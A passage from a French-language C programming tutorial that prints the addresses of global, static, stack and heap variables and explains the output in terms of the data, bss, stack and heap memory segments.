 printf("Addresse Variable local_f_a : %08x\n",&local_f_a);
 printf("Addresse Variable static_f_c : %08x\n",&static_f_c);
 
 g();
 
 return;
}
 
void g(void) {
 // Variable locale de g qui va dans le segment STACK
 int *local_g_a = NULL;
 
 local_g_a = (int*)malloc(sizeof(int));
 
 printf("Addresse Variable local_g_a : %08x\n",&local_g_a);
 printf("Addresse pointee par local_g_a : %08x\n",local_g_a);
 
 free(local_g_a);
 
 return;
}
 
int main(int argc, char **argv) {
 // Variable locale de main qui va dans le segment STACK
 // main est une fonction comme une autre
 int local_main_a = 10;
 
 printf("Addresse Variable local_main_a : %08x\n",&local_main_a);
 printf("Addresse Variable global_a : %08x\n",&global_a);
 printf("Addresse Variable static_a : %08x\n",&static_a);
 printf("Addresse Variable global_b : %08x\n",&global_b);
 printf("Addresse Variable static_b : %08x\n",&static_b);
 
 f();
 g();
 
 return EXIT_SUCCESS;
}

L'exécution du programme donne :

# ./memory_segment
Addresse Variable local_main_a : bff082dc
Addresse Variable global_a : 0804a034
Addresse Variable static_a : 0804a030
Addresse Variable global_b : 0804a01c
Addresse Variable static_b : 0804a020
Addresse Variable local_f_a : bff082ac
Addresse Variable static_f_c : 0804a024
Addresse Variable local_g_a : bff0827c
Addresse pointee par local_g_a : 09e15008
Addresse Variable local_g_a : bff082ac
Addresse pointee par local_g_a : 09e15008
Les variables dont l'adresse est la plus basse sont les variables global_b, static_b et static_f_c. Normal, comme le montre le schéma plus haut, ce sont des variables globales et statiques initialisées, donc leur place est dans le segment data, la zone mémoire la plus basse après le code du programme. La variable static_f_c même si elle se trouve dans une fonction est d'abord une variable statique. Toutes les fonctions f() appelées utilisent la même zone mémoire pour cette variable. Une modification dans un appel, se verra donc dans l'appel suivant.

Ensuite viennent les variables global_a et static_a des variables globales non initialisées, donc dans le segment bss.

La variables locales ont une adresse beaucoup plus grande, commençant par 0xbff. Si on regarde l'ordre d'appel des fonctions, main() est créée avant f(). Du coup comme dit précédemment les variables de main() ont une adresse plus haute car la pile grandit vers les adresses basses. f() appelant g(), les variables de f() ont une adresse plus haute que celles de la fonction g() appelée dans f(). Par contre, lors de l'appel de g() dans main(), on voit que local_g_a a exactement la même adresse qu'avait local_f_a. Cela ne pose aucun problème, la fonction f() est totalement terminée, du coup son stack frame a été détruit, et le stack frame de g() s'est créée au même endroit.

La variable local_g_a est une variable locale à g() donc située dans la pile. Par contre malloc alloue une zone mémoire qui elle pointe dans tas (ou heap). La zone mémoire qui stocke local_g_a est dans la pile, et l'adresse contenue dans cette zone mémoire pointe vers le tas.